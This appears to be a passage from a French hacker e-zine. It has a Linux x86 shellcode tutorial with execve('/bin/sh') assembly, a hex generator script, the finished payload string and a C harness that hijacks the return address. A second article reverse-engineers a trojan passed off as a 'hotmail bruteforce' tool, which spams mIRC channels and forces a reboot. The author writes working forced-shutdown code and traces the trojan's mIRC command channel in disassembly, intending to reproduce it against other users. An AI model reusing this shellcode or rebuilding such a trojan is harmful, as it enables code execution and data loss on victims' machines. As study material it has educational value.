    tampon (buffer overflow). Pendant l'attaque, il est injecté par l'exploit dans un programme en
    cours d'exécution, et à partir de celui-ci, il exécute le code voulu par l'attaquant (il est
    souvent utilisé pour appeler un Shell).

    { 0x3 } coding ..

    Il faut connaitre un peu l'asm , c'est obligé! Notre but est de créer un code binaire qui lance
    un Shell. Soit un code équivalent au programme C suivant :

    ------shell.c--------

    #include <stdlib.h>
    int main(void)
    {
    execl("/bin/sh","sh",0);
    return 0;
    }

    Pourquoi utilise execl() et pas system() ?
    tout simplement parce qu’execve() prent le même PID que le processus dont a été lancé et arrête,
    alors que system() crée un nouveau processus. Ce que modifiera la pile et le programme ne pourra
    plus continuer normalement, ce que provoquerait un crash du programme exploite. (Toutes les
    fonctions de la famille exec utilisent ce principe).

    Nous utiliserons NASM comme compilateur qu'est disponible dans presque toutes les distributions de
    linux. Mieux vaux connaitre les notions de bases de l'asm , c'est obligé!!(moi-même j'ai du lire de
    la documentation avant de comprendre) L'équivalent en assembleur du programme C ci-dessus est le
    programme suivant :

    -------shellcode.asm----------

    [global main]
    main:
        jmp short donné
    retour:
        pop esi            ;récupère l'adresse de '/bin/sh'
        xor edx, edx
        mov [esi+8], esi
        mov [esi+12], edx
        mov al, 11        ; syscall = 11, la fonction  appellée est execve
        mov ebx, esi
        lea ecx, [esi+8]    ; ecx contient l'adresse d'un tableau avec les arguments cf
        int     0x80        ; interruption
    donnees:
        call retour        ; Comme pour chaque instruction call
        db '/bin/sh',0        ; eip + 4, cad l'adresse de l'instruction suivante,
                    ; est empilée pour pouvoir reprendre
                    ; l'exécution à la prochaine instruction
                    ; après appel de la procédure retour.
                    ; Sur la pile on a donc l'adresse de la
                    ; chaîne '/bin/sh'
                    ;

     Vérifions le :

     darkis@outlawz:~/coding$ nasm -f aout shellcode.asm -o shellcode
     darkis@outlawz:~/coding$ chmod +x shellcode
     darkis@outlawz:~/coding$ ./shellcode
     sh-2.05b$

    En est fait notre programme en assembleur lance bien un Shell :]

    Souvent un shellcode est destiné à être recopié dans un buffer vulnérable, par exemple strcpy s'arrêt
    dès qu'elle renconrte un caractère nul ('\x00'), donc il faut que notre shellcode ne contienne aucun
    caractère nul. Seul le dernier caractère du shellcode peut être nul, il se termine ainsi comme une
    chaine normale. Ainsi, nous avons soigneusement choisi les instructions assembleur afin qu'elles ne
    produisent pas d'octets nuls une fois compilées. Par exemple l'instruction mov eax, 0 (B800000000 en
    binaire) produit beaucoup de zéro, tandis que l'instruction équivalente xor eax, eax (31C0) n'en
    produit aucun.

    { 0x4 } les fichiers Source ( *.S )

    il nous reste à en faire une représentation en chaine de caractères afin qu'il puisse être copié dans
    un buffer, en faite c'est très simple:

    l'option -l de NASM nous permet d'obtenir un listing qui contient le code assembleur et le code
    binaire correspondant.

     darkis@outlawz:~/coding$ nasm -f aout shellcode.asm -l shellcode.S

     Si vous ouvrez shellcode.S vous aurez un truc de genre :

     -------------shellcode.S-------------
     1                                  [global main]
     2                                  main:
     3 00000000 EB12                            jmp short donnees
     4                                  retour:
     5 00000002 5E                              pop esi                 ;rÃ©cup$
     6 00000003 31D2                            xor edx, edx
     7 00000005 897608                          mov [esi+8], esi
     8 00000008 89560C                          mov [esi+12], edx
     9 0000000B B00B                            mov al, 11              ; sysca$
    10 0000000D 89F3                            mov ebx, esi
    11 0000000F 8D4E08                          lea ecx, [esi+8]        ; ecx c$
    12 00000012 CD80                            int     0x80            ; inter$
    13                                   donnees:
    14 00000014 E8E9FFFFFF                      call retour             ; Comme$
    15 00000019 2F62696E2F736800                db '/bin/sh',0          ; eip +$
     ----------------------------

     Ou bien:
     darkis@outlawz:~/coding$ as -a -o fichier.o fichier.asm > fichier.S

    Qui donne le même résultat! Ce que nous intéresse ici c'est la 3eme colone :
    EB12
    5E
    31D2
    ...
    Comme vous pouvez le voir pour les mettre en format lisible: "\xeb\x12\x5e\x31..."  on prend
    les caractères hex 2 par 2 "xEb" et on les met a la suite comme ci-dessus "\xeb\x12\..\x00".

    { 0x5 }  bonus!

    Ce script en perl parcourt un fichier source (*.S) afin de créer la chaine de caractère qui correspond à
    notre shellcode.

    ----------------generateur.pl-------------------

    #! /usr/bin/perl
    if(@ARGV < 1) { die "Usage $0 <fichier.S>\n\n"; }

    $file = shift;

    open(FILE, $file) or die "Impossible d'ouvrir le fichier $ARGV[0] : $!\n";

    while(<FILE>) {
      if(/ {4}\w+ (\w+) (\w+)./) {
        $sc.=$2;
      }
    }
    for($i= 0 ;$i < length($sc) ;$i++)
           {
           if(! ($i % 2)) {
           print "\\x" ;
           }
           print substr(lc($sc) , $i , 1)
    }
    print "\n"

    darkis@outlawz:~/coding$ chmod +x generateur.pl
    darkis@outlawz:~/coding$ ./generateur.pl shellcode.S
    \xeb\x12\x5e\x31\xd2\x89\x76\x08\x89\x56\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\xcd\x80\xe8\xe9\xff\xff\xff
    \x2f\x62\x69\x6e\x2f\x73\x68\x00

    Pour terminer notre article, nous allons réaliser un petit programme C qui exécute notre shellcode :

    -------------shell.c---------------

    char sc[]="\xeb\x12\x5e\x31\xd2\x89\x76\x08\x89\x56\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\xcd\x80\xe8\xe9
               \xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00";

    main (void)
    {
      int * ret;
      * ((int *) &ret + 2) = (int) sc;
      return (0);
    }

    ------------------------------

    darkis@outlawz:~/coding$ gcc shell.c -o shell
    darkis@outlawz:~/coding$ ./shell
    sh-2.05b$

    { 0x6 } CONCLUSION

    j'espère que j'n’ai pas dit trop de connerie , et désole pour l'orthographe :p

                                                              darkis , #linux.ma
                                                                  Outl4wz

    Greetz :phawnky ..

    topic

           ..                     ,.-..                     ,..,
          |  |                  .`     `.                  |    |
          |''|                  |`'---'`|                  |`'-`|
          |<<|                  | _____ |             _,,..|[}{]|.,,,
        _,|<<|,,                | \ D / |         ,-``     |[}{]|    ``',
      .`  `..'  `.              |  |A|  |         |-,,     ``--''    _,-'|
      | `''--''` |              |  |T|  |         |   ``'''------''``    |
      |  [ 15 ]  |              |  |A|  |         |     [ Mindkind ]     |
      `.   ~~   .'              | /   \ |         `-,,    ] 1010 [   _,-'
        `''--''`      _,,,,,,...||  C  ||.....,,,,,,_ ``'''------''```
          |<<|.-''```` _,,,,,...|[  O  ]|...,,,,,,_  ```''-|[}{]|
        ,```   .,-''```         |[  R  ]|          ``''-., |[}{]|,
       |      `.        _,,,,...||  E  ||...,,,,,         '|[}{]| |
       |`-,_   `'-.,,_,`********| \   / |********`._,,.-'` |[}{]|'|
       |    `''-.,,,_ `````'''''---------'''''`````  _,,,.-|[}{]| |
       |`-,_         `````''''''---------'''''''`````      |[}{]|'|
       |    `''[                                          ]|[}{]| |
       |`-,_   [  Really Lame Reverse Engeneering Paper   ]|[}{]|'|
       |    `''[                                         ] |[}{]| |
        `-,_        [                              ]  _,,..|[}{]|.,,,
          |<;`'-.,,,_                             ,-``     |[}{]|    ``',
        ,`     ;     ```;;;;;;;;---------;;;;;;;;;|-,,     ``--''    _,-'|
       |`-,_   `'-.,,_,`********|[ !?! ]|********`|   ``'''------''``    |
       |`-,_`''-.,,,_ `````'''''---------'''''````|     ]  Ninja   [     |
       |`-,_`''-.,,, `````''''''---------'''''''```-,,               _,-'
        `-,_`''-.,,,[                                ]``'''------''``
          |<`|'-.,,,_[                              ]_,,,.-|[}{]|
          |<<|       `````''''''---------'''''''`````      |[}{]|
          |<<|                  |]Aka: [|                  |[}{]|
          |<<|             ___,,| _____ |....--------------|[}{]|,,,,,,,,,,__
          |<<|,,.--'''`````   __| \ D / |....--------------|[}{]|,,,,,,,,_   `````'''--..,,_
      _.-'``       ,,.--'`````  |  |A|  |                  |[}{]|         `````''-.,,       ``'-.,
     ;           -`             |  |T|  |,.....----------..|[}{]|,,,_                `'           ;
     |`'-.,,       `''-..,,,_.-`|  |A|  |******************|[}{]|****````-_,,,,,.--'`       _,,-'`|
     |      ```''--..,,,,,_   ```````''''''''--------------''''''''```````   __,,,,..--''```      |
     |                     ````````''''''''''--------------''''''''''````````                     |
     |                                                                                            |

                                        RLREP

                                         aka

                        Really Lame Reverse Engeneering Paper

    Résumé
        "Ninja Production Present" un texte peu technique, mais surement bien
        intéressant qui risque, que cela ne déplaise, de vous stimuler les
        neurones. Il y sera question de reverse engeneering et d'un feature
        vraiment trop exploitable de mIRC. Comme vous l'aurez surement deviné via
        le titre de ce texte, vous n'aurez pas droit à un cours très poussé,
        technique ou 1337. Mais l'avenue que j'ai utilisée pour reverser un petit
        programme sympa peut-être utilisé pour reverser n'importe quelle application
        d'un kiddy quelconque pour comprendre un peu plus comment il fonctionne.

    Tables des matières
        1. Introduction
        2. Là où tout à commencé...
        3. What the...
        4. La mission
           4.1 Dernière étape
           4.2 Injection ??
           4.3 HOLY ou OLLY
        5. Play time!
        6. Conclusion

    1. Introduction

        Ne vous est-il jamais arrivé de croiser un abrutie sur un canal quelconque
        qui demandait sans relâche une application pour hacker un compte hotmail,
        un crack pour une certaine application ou jeux, etc.? Que de frustration, si
        vous n'êtes pas opérateur du canal, de ne pas pouvoir exploser cette
        loque. Mais j'ai peut-être une alternative qui vous fera probablement
        sourire.

    2. Là où tout à commencé...

        C'était une nuit chaude et sombre, étouffé par une humidité qui vous
        empêche d'être confortablement allongé dans votre lit.  Seul le bruit de
        quelques voitures pouvait se faire entendre au loin. C'était le genre de
        nuit où l'on souhaiterait ne simplement pas exister. Les secondes
        semblaient être des minutes. J'étais assis, le regarde fixe devant l'écran
        de mon ordinateur, le dos légèrement courbé. Je ne pouvais dormir et malgré
        mon immense désir de faire quelque chose, je me sentais paralysé. Comme
        certains cette nuit là, je m'étais connecté sur les serveurs Undernet et
        j'attendais que quelque chose se passe sur un des canaux que je fréquente.
        J'étais complètement hypnotisé par les très rares messages "join/part/quit"
        quand soudainement, venu de nul part, quelqu'un demanda un programme de
        hack. Voilà ma chance de me sortir de l'état pitoyable dans lequel j'étais
        prisonnier depuis trop longtemps cette nuit là.

        "Qu'entend-tu par prog de hacking?", lui dis-je.

        "j'veux hack un account hotmail", me répond-il.

        "Oh, je vois..."

        "c que g perdu mon pass pis je suis pu cap de lire mes email", me dit-il.

        J'étais sur le point de rétorquer, lui laissant savoir que s'il croit être
        le premier à clamer la perte de son mot de passe comme raison de piraté un
        compte homtail, il devait vraiment être abrutis quand, surgissant des
        profondeurs de l'IRC:

        "tien ça devrait faire la job:
        http://xxxxxx.xxx.xx/misc/hotmail_bruteforce.exe"

        "thx", s'empressa de répondre notre pirate en devenir.

        Il s'installa un silence froid, on aura pu entendre la lune tourner autour
        de la terre. Et puis quelques secondes plus tard:

        "OH NOOOOOO !!!!"
        loque_humaine quit (edcba)

    3. What the...

        Bon, je suis désolé pour cette tentative d'écriture "thriller style". Mais
        je dois quand même avoir du plaisir à écrire sinon je n'écrirais tout
        simplement pas. Et je tien a dire "shut up" à tous ceux qui croient que ça
        serait mieux ainsi. Si vous avez été assez patient pour lire attentivement
        jusqu'ici, vous aurez surement compris que le petit prog que "edcba" à
        envoyé à notre wannabe hackeur était bien entendu un piège. Malgré que le
        programme ne fasse rien de bien méchant, il propage un message sur tous les
        canaux où la victime se trouve ("OH NOOOOOO !!!!"), termine la connexion au
        serveur IRC et finalement exécute un "force reboot" de la machine. Le
        "force reboot" étant probablement la partie la plus chiante, puisque,
        contrairement a un redémarrage normal, il n'attend pas que toutes les
        applications fermes correctement. Donc toutes modifications à des documents
        non sauvegardés son perdu. Symaptique n'est-ce pas?

    4. La mission

        Trouvant l'idée très sympathique et étant en constante recherche de petit
        truc à coder, je me suis dit qu'il serait bien de reproduire les features
        de ce programme. Pas question de demander à edcba comment il avait fait
        parce que, premièrement, je tien à comprendre par moi-même avant tout, et
        deuxièmement, parce que je doute que j'aurais eu une réponse. Je vais
        diviser ce que fait le programme en étapes. Question de mieux cibler ce que
        l'on doit reproduire.

        1. Envoie un message sur tous les canaux
        2. Ferme la connexion au serveur avec un message spécifique
        3. Redémarre l'ordinateur (force reboot)

        On peut imaginer que réussir l'étape #1 implique automatiquement la
        réussite de l'étape #2. Donc, nous avons excatement deux (2) étapes à
        reproduire.

        4.1 dernière étape

            Pourquoi commencer par le commencement quand la fin est tellement plus
            facile. Je trouve plus motivant de faire des progrès rapidement et
            ensuite être bloqué que de n'avoir rien fait encore et d'être déjà
            bloqué. Comme mentionnée ci-dessus, la dernière étape consiste à
            redémarrer l'ordinateur. Une petite recherche bien effectuée sur google
            ou MSDN Library vous permet de trouver rapidement quel API l'on doit
            utiliser pour arriver à notre fin, j'ai nommé "ExitWindowsEx". Voici
            donc le prototype de notre fameuse API:

            BOOL WINAPI ExitWindowsEx(
                UINT uFlags,
                DWORD dwReason
            );

            Paramètres
                uFlags
                    [in] Le type de fermeture.
                dwReason
                    [in] La raison de l'initialisation de la fermeture.

            Pour le paramètre uFlags, nous allons utiliser la valeur suivante :

            EWX_SHUTDOWN - Ferme le système.

            En conjonction avec:

            EWX_FORCE - "[...] the system does not send the WM_QUERYENDSESSION
                        and WM_ENDSESSION messages. This can cause applications to
                        lose data. Therefore, you should only use this flag
                        in an emergency."

            Le paramètre dwReason doit être égale à zéro, raison de compatibilité.

            C'est maintenant le temps de tester notre application. Alors au code
            camarade.

    ==---------------------- test1.cpp ----------------------==

    #define WIN32_LEAN_AND_MEAN
    #include <windows.h>

    int main()
    {
        ExitWindowsEx(
            EWX_SHUTDOWN|EWX_FORCE,
            0
        );

        return 0;
    }

            Simple n'est-ce pas? Mais pas si vite mon ami! À moins que vous soyez
            très chanceux, rien ne devrait arriver suite à l'exécution de ce code.
            Pourquoi? Simplement parce que nous devons donner à notre processus le
            privilège SE_SHUTDOWN_NAME. Autrement, l'appel à la fonction
            ExitWindowsEx échoue. Une autre recherche sur MSDN Library s'impose.

            Notre recherche nous amène à trouver l'API suivante:

            AdjustTokenPrivileges

            Voici son prototype:

            BOOL AdjustTokenPrivileges(
                HANDLE TokenHandle,
                BOOL DisableAllPrivileges,
                PTOKEN_PRIVILEGES NewState,
                DWORD BufferLength,
                PTOKEN_PRIVILEGES PreviousState,
                PDWORD ReturnLength
            );

            C'est ici que ça se corse. D'accord ce n'est pas si terrible, mais bon,
            j'aurais aimé que ça soit aussi simple que d'appeler simplement
            ExitWindowsEx. Premièrement, nous devons avoir l'accès
            TOKEN_ADJUST_PRIVILEGES si nous voulons activer ou désactiver un
            privilège. De plus, nous aurons besoin d'un handle sur un token
            préalablement ouvert. Encore une fois, nous devons effectuer une autre
            recherche sur MSDN Libray. Nous voici, maintenant, devant
            OpenProcessToken.

            BOOL OpenProcessToken(
                HANDLE ProcessHandle,
                DWORD DesiredAccess,
                PHANDLE TokenHandle
            );

            ProcessHandle - handle de notre processus.
            DesiredAccess - TOKEN_ADJUST_PRIVILEGES
            TokenHandle   - pointeur vers le handle de notre token

            De retour à AdjustTokenPrivileges. Si l'on regarde la structure
            TOKEN_PRIVILEGES de plus près, on s'aperçoit que l'on a besoin de LUID
            du privilège désiré. Pour obtenir cette information, nous devons appler
            la fonction LookupPrivilegeValue.

            BOOL LookupPrivilegeValue(
                LPCTSTR lpSystemName,
                LPCTSTR lpName,
                PLUID lpLuid
            );

            Maintenant nous sommes prêts pour donner à notre processus le privilège
            dont il a besoin pour appeler la fonction ExitWindowsEx. Au code!

    ==---------------------- test2.cpp ----------------------==

    #define WIN32_LEAN_AND_MEAN
    #include <windows.h>

    int main()
    {
        HANDLE hToken;
        TOKEN_PRIVILEGES tp;
        DWORD dwRet;

        // demande un token
        if ( !OpenProcessToken(
                  GetCurrentProcess(),      // handle du processus courant
                  TOKEN_ADJUST_PRIVILEGES,
                  &hToken ) )
        {
            return 0;
        }

        // recherche le LUID du privilège SE_SHUTDOWN_NAME
        if ( !LookupPrivilegeValue(
                  NULL,                      // recherche sur le système local
                  SE_SHUTDOWN_NAME,
                  &tp.Privileges[0].Luid ) )
        {
            CloseHandle(hToken);
            return 0;
        }

        tp.PrivilegeCount = 1;  // une seul privilege a configurer
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

        // ajust le token selon les nouveaux privilèges demandés
        if ( !AdjustTokenPrivileges(
                  hToken,
                  FALSE,                   // ne PAS désactiver TOUS les privilèges
                  &tp,
                  0,                       // comme PreviousState est NULL, on
                                           // mets 0
                  (PTOKEN_PRIVILEGES)NULL, // PreviousState
                  0 ) )                    // 0 puisque PreviousState est NULL
        {
            CloseHandle(hToken);
            return 0;
        }

        dwRet = GetLastError(); // backup de GetLastError() puisque l'on appel
                                // CloseHandle. Cette dernière modifie le contenu
                                // de GetLastError();

        CloseHandle(hToken);

        if (dwRet != ERROR_SUCCESS)
            return 0;

        ExitWindowsEx(
            EWX_SHUTDOWN|EWX_FORCE,
            0
        );

        return 0;
    }

            W00t! C'est fait. Notre programme, si tout se passe bien, va forcer
            Windows à redémarrer l'ordinateur sans avertir aucunes applications.
            Maintenant, passons aux choses sérieuses...

        4.2 Injection ??

            Je crois que tout le monde à un jour ou l'autre, a pris le mauvais
            chemin pour atteindre un objectif. C'est souvent ce qui arrive lorsque
            l'on voit tout comme étant surement complexe. Ou simplement quand on
            aime se compliquer la vie. Et ça a bien été mon cas ici. Je m'étais
            imaginé que pour arriver a ce que mIRC, via un programme externe,
            exécute des commandes qu'on lui spécifie, nous devions absolument
            injecter du code dans le processus mIRC chargé en mémoire. Après
            quelques jours de dur travail et de recherche sur le web, je me suis
            tanné. Pourquoi est-ce que je me fait chier autant à trouver une
            technique alors que si je regarde ce que le programme de edcba fait,
            il ne me restera plus qu'a comprendre le pourquoi. Et, je dois
            l'avouer, c'était le but premier de cet exercice. Alors au toilette
            saloperie d'injection.

        4.3 HOLY ou OLLY

            Bow down before the power of HOLY... err, je veux dire OLLY. Avant que
            les religieux ne commencent à s'émoustiller, c'était un jeu de mots très
            plate sur la phonétique des deux termes. Il n'est pas question de
            religions ici. duh! Concentration s.v.p. OllyDbg
            (http://www.ollydbg.de/) est une application que j'apprécie énormément
            et qui vaut la peine d'être mentionné. Il s'agit en fait d'un débuggeur
            pour Windows. Deux choses très importantes à retenir: puissant et
            surtout, gratuit.

            Il est maintenant temps d'ouvrir le petit programme dont on cherche à
            reproduire les fonctionnalités sous OllyDbg. En à peine une seconde,
            nous avons droit à un spectacle magnifique: un listing assembleur
            32-bit.

            En regardant le listing on peut voir le code que nous venons à
            l'instant de produire:

    [00401151]
    PUSH EBP
    MOV EBP,ESP
    ADD ESP,-14
    LEA EAX,DWORD PTR SS:[EBP-4]
    PUSH EAX                                 ; /phToken
    PUSH 28                                  ; |DesiredAccess =
                                                TOKEN_QUERY|TOKEN_ADJUST_PRIVILEGES
    CALL <JMP.&KERNEL32.GetCurrentProcess>   ; |[GetCurrentProcess
    PUSH EAX                                 ; |hProcess
    CALL <JMP.&ADVAPI32.OpenProcessToken>    ; \OpenProcessToken
    TEST EAX,EAX
    JNZ SHORT mIRC_hig.0040116F
    XOR EAX,EAX
    JMP SHORT mIRC_hig.004011C4
    LEA EDX,DWORD PTR SS:[EBP-10]
    PUSH EDX                                 ; /pLocalId
    PUSH mIRC_hig.00409128                   ; |Privilege = "SeShutdownPrivilege"
    PUSH 0                                   ; |SystemName = NULL
    CALL <JMP.&ADVAPI32.LookupPrivilegeValue>; \LookupPrivilegeValueA
    MOV DWORD PTR SS:[EBP-14],1
    MOV DWORD PTR SS:[EBP-8],2
    PUSH 0                                   ; /pRetLen = NULL
    PUSH 0                                   ; |pPrevState = NULL
    PUSH 0                                   ; |PrevStateSize = 0
    LEA ECX,DWORD PTR SS:[EBP-14]            ; |
    PUSH ECX                                 ; |pNewState
    PUSH 0                                   ; |DisableAllPrivileges = FALSE
    PUSH DWORD PTR SS:[EBP-4]                ; |hToken
    CALL <JMP.&ADVAPI32.AdjustTokenPrivilege>; \AdjustTokenPrivileges
    CALL <JMP.&KERNEL32.GetLastError>        ; [GetLastError
    TEST EAX,EAX
    JE SHORT mIRC_hig.004011AE
    EAX,EAX
    JMP SHORT mIRC_hig.004011C4
    PUSH 0                                   ; /Reserved = 0
    PUSH 5                                   ; |Options = EWX_SHUTDOWN|EWX_FORCE
    CALL <JMP.&USER32.ExitWindowsEx>         ; \ExitWindowsEx
    TEST EAX,EAX
    JNZ SHORT mIRC_hig.004011BF
    XOR EAX,EAX
    JMP SHORT mIRC_hig.004011C4
    MOV EAX,1
    MOV ESP,EBP
    POP EBP
    RETN

            J'ai enlevé les offsets et les opcodes qu'affiche OllyDbg simplement
            pour respecter un formatage de 80 caractères de large, voilà. Mais ce
            n'est pas ce que nous cherchons puisque nous l'avons déjà codé. Ce
            que nous cherchons c'est comment peut-on interagir avec mIRC via un
            programme externe. Nous parcourons donc le code à la recherche
            d'appel à des fonctions qui pourraient être des pistes intéressantes.

            JACKPOT!!!!!

            Voilà qui est fortement intéressant:

    [004011C8]
    PUSH EBP
    MOV EBP,ESP
    PUSH EBX
    PUSH ESI
    MOV ESI,DWORD PTR SS:[EBP+8]
    MOV EBX,DWORD PTR SS:[EBP+C]
    PUSH mIRC_hig.0040913C                   ; /Arg2 =
                                             0040913C ASCII "/amsg OH NOOOOOO !!!!"
    PUSH EBX                                 ; |Arg1
    CALL mIRC_hig.004022F8                   ; \mIRC_hig.004022F8
    ADD ESP,8
    PUSH 0                                   ; /lParam = 0
    PUSH 1                                   ; |wParam = 1
    PUSH 4C8                                 ; |Message = MSG(4C8)
    PUSH ESI                                 ; |hWnd
    CALL <JMP.&USER32.SendMessageA>          ; \SendMessageA
    PUSH mIRC_hig.00409152                   ; /Arg2 =
                                            00409152 ASCII "/quit Suicide. (edcba)"
    PUSH EBX                                 ; |Arg1
    CALL mIRC_hig.004022F8                   ; \mIRC_hig.004022F8
    ADD ESP,8
    PUSH 0                                   ; /lParam = 0
    PUSH 1                                   ; |wParam = 1
    PUSH 4C8                                 ; |Message = MSG(4C8)
    PUSH ESI                                 ; |hWnd
    CALL <JMP.&USER32.SendMessageA>          ; \SendMessageA
    MOV EAX,1
    POP ESI
    POP EBX
    POP EBP
    RETN 8

    [00401218]
    PUSH EBP
    MOV EBP,ESP
    PUSH EBX
    PUSH ESI
    PUSH mIRC_hig.00409169                   ; /MapName = "mIRC"
    PUSH 1000                                ; |MaximumSizeLow = 1000
    PUSH 0                                   ; |MaximumSizeHigh = 0
    PUSH 4                                   ; |Protection = PAGE_READWRITE
    PUSH 0                                   ; |pSecurity = NULL
    PUSH -1                                  ; |hFile = FFFFFFFF
    CALL <JMP.&KERNEL32.CreateFileMappingA>  ; \CreateFileMappingA
    MOV EBX,EAX
    TEST EBX,EBX
    JE SHORT mIRC_hig.0040126D
    PUSH 0                                   ; /MapSize = 0
    PUSH 0                                   ; |OffsetLow = 0
    PUSH 0                                   ; |OffsetHigh = 0
    PUSH 6                                   ; |AccessMode = 6
    PUSH EBX                                 ; |hMapObject
    CALL <JMP.&KERNEL32.MapViewOfFile>       ; \MapViewOfFile
    MOV ESI,EAX
    TEST ESI,ESI
    JNZ SHORT mIRC_hig.00401256
    PUSH EBX                                 ; /hObject
    CALL <JMP.&KERNEL32.CloseHandle>         ; \CloseHandle
    JMP SHORT mIRC_hig.0040126D
    PUSH ESI                                 ; /lParam
    PUSH mIRC_hig.004011C8                   ; |Callback = mIRC_hig.004011C8
    CALL <JMP.&USER32.EnumWindows>           ; \EnumWindows
    PUSH ESI                                 ; /BaseAddress
    CALL <JMP.&KERNEL32.UnmapViewOfFile>     ; \UnmapViewOfFile
    PUSH EBX                                 ; /hObject
    CALL <JMP.&KERNEL32.CloseHandle>         ; \CloseHandle
    POP ESI
    POP EBX
    POP EBP
    RETN

            On remarque que les API SendMessage, CreateFileMapping, MapViewOfFile
            et EnumWindows sont utilisés dans la transmission des commandes que
            l'on désire que mIRC exécute. Maintenant il ne reste plus qu'à
            comprendre comment sont utilisées ces fonctions.

            Première étape à la compréhension et résolution de problème c'est de
            savoir ce que fait chaque partie du puzzle. Donc on doit savoir,
            qu'est-ce que SendMessage fait exactement, même chose pour
            CreateFileMapping et les autres API en jeux.

            L'API EnumWindows énumère tous les "top-level windows" et ignore les
            "child windows". Pour chaque fenêtre, elle passe le handle cette
            dernière à une fonction callback définie par l'utilisateur. Dans la
            situation actuelle, la fonction callback est située à l'adresse suivante:
            004011C8. Qui se trouve à être là où l'on trouve les chaines que l'on
            veut envoyer à mIRC et où se trouvent les deux appels à la fonction
            SendMessage.

            La fonction SendMessage envoie un message spécifié à une ou plusieurs
            fenêtres, le message étant une valeur numérique. Les messages système
            ont une valeur inférieure à WM_USER-1, donc de 1023 (1024 étant la
            valeur de WM_USER). Une application peut aussi définir c'est propre
            message en autant qu'elle utilise les valeurs supérieures ou égales à
            WM_USER.

            Exemple de message système:

            WM_LBUTTONDOWN, WM_RBUTTONDOWN, WM_KEYDOWN, WM_DESTROY, WM_COMMAND, ...

            Or dans notre cas présent, on constate que le message envoyé via
            SendMessage dans le programme ci-dessus à la valeur 4C8 qui est la
            représatation hexadécimal de la valeur 1224. Donc, le programme
            communique avec mIRC via un message probablement défini par mIRC.
            Puisque la valeur du message est de 1224 (4C8), ce message ne fait pas
            référence à un message système déjà existant, mais probablement à un
            message définie par l'application ciblée, dans notre cas mIRC. Il nous
            faut trouver aussi que représentent les deux autres paramètres de l'API
            SendMessage. Leur valeur respective étant 1 et 0. Nous y reviendrons
            plus tard.

            CreateFileMapping est une fonction qui permet de créer un fichier
            qui pourra être partagé (lecture et/ou écriture) entre processus.
            C'est une façon, mais efficace de partager des données entre processus.
            CreateFileMapping crée, si le fichier n'existe pas déjà, ou ouvre un
            fichier selon le nom spécifié. Or dans le listing ci-dessus, la
            fonction CreateFileMapping tante que créer ou d'ouvrir un fichier sous
            le nom de "mIRC". Il se pourrait donc, sachant qu'un fichier mappé
            peut être partagé entre processus, que mIRC créer ce fichier lui-même
            lors de son exécution.

            MapViewOfFile permet à une application d'avoir accès a un fichier
            mappé, préalablement ouvert avec OpenFileMapping ou CreateFileMapping,
            dons son propre espace mémoire. La fonction retourne l'adresse du
            buffer que nous pourrons utiliser pour écrire les données dans le
            fichier mappé.

            Vous avez peut-être remarqué, et si ce n'est pas le cas je vous en
            informe à l'instant, que les commandes que nous voulons que mIRC
            exécute sont passé en paramètre a une fonction locale du programme
            se trouvant à l'offset suivant 004022F8. Je ne vous montrerai pas le
            code mais en gros, elle copie la chaine spécifiée dans un buffer. Ce
            buffer se trouve à être le fichier mappé dont on à obtenu l'adresse
            mémoire via MapViewOfFile, comme expliqué auparavant.

            Il ne nous reste plus qu'à vérifier si mIRC crée bel et bien un fichier
            mappé nommé mIRC. Il existe probablement de meilleures façons ou des
            outils spécifiques qui nous permettraient d'avoir la liste des fichiers
            ouverts par un processus. Mais nous allons utiliser encore notre bon
            ami, Ollydbg. Alors, on ouvre mIRC avec notre cher débuggeur. Et on
            recherche les fonctions CreateFileMapping ou OpenFileMapping.

            KABOUM!!

    [004E1D40]
    SUB ESP,8
    PUSH EBX
    PUSH EBP
    MOV DWORD PTR SS:[ESP+8],EDX
    MOV EBX,ECX
    CALL mIRC.004E9750
    MOV EBP,EAX
    TEST EBP,EBP
    JNZ SHORT mIRC.004E1D5E
    POP EBP
    POP EBX
    ADD ESP,8
    RETN 4
    TEST EBX,EBX
    JE SHORT mIRC.004E1D6A
    CMP EBX,DWORD PTR DS:[5C6688]
    JNZ SHORT mIRC.004E1D6D
    MOV EBX,DWORD PTR SS:[EBP]
    PUSH ESI
    PUSH EDI
    mIRC.00594810                            ; /MappingName = "mIRC"
    PUSH 1                                   ; |InheritHandle = TRUE
    PUSH 0F001F                              ; |Access = F001F
    CALL DWORD PTR DS:[<&KERNEL32.OpenFileMa>; \OpenFileMappingA
    MOV ESI,EAX
    TEST ESI,ESI
    MOV DWORD PTR SS:[ESP+14],ESI
    JE SHORT mIRC.004E1DAA
    PUSH 0                                   ; /MapSize = 0
    PUSH 0                                   ; |OffsetLow = 0
    PUSH 0                                   ; |OffsetHigh = 0
    PUSH 0F001F                              ; |AccessMode = F001F
    PUSH ESI                                 ; |hMapObject
    CALL DWORD PTR DS:[<&KERNEL32.MapViewOfF>; \MapViewOfFile
    MOV EDI,EAX
    TEST EDI,EDI
    JNZ SHORT mIRC.004E1DB6
    PUSH ESI                                 ; /hObject
    CALL DWORD PTR DS:[<&KERNEL32.CloseHandl>; \CloseHandle
    POP EDI
    POP ESI
    POP EBP
    XOR EAX,EAX
    POP EBX
    ADD ESP,8
    RETN 4
    MOV EAX,DWORD PTR SS:[ESP+10]
    XOR ESI,ESI
    CMP EAX,4C8
    JNZ SHORT mIRC.004E1DF8
    MOV EAX,DWORD PTR SS:[ESP+1C]
    TEST AL,1
    JE SHORT mIRC.004E1DD8
    AND AL,4
    NEG AL
    SBB EAX,EAX
    AND EAX,5
    MOV ESI,EAX
    JMP SHORT mIRC.004E1DE5
    TEST AL,2
    JE SHORT mIRC.004E1DE5
    MOVZX ESI,AL
    AND ESI,4
    OR ESI,3
    PUSH EBP
    PUSH 0
    PUSH 0
    PUSH ESI
    PUSH 0
    MOV EDX,EDI
    MOV ECX,EBX
    CALL mIRC.0043F030
    JMP SHORT mIRC.004E1E0E
    PUSH EBP                                 ; /Arg7
    PUSH 0                                   ; |Arg6 = 00000000
    PUSH 0                                   ; |Arg5 = 00000000
    PUSH 0                                   ; |Arg4 = 00000000
    PUSH 0                                   ; |Arg3 = 00000000
    PUSH 0                                   ; |Arg2 = 00000000
    PUSH 0                                   ; |Arg1 = 00000000
    MOV EDX,EDI                              ; |
    MOV ECX,EBX                              ; |
    CALL mIRC.004A0030                       ; \mIRC.004A0030
    TEST EAX,EAX
    JE SHORT mIRC.004E1E17
    MOV ESI,1
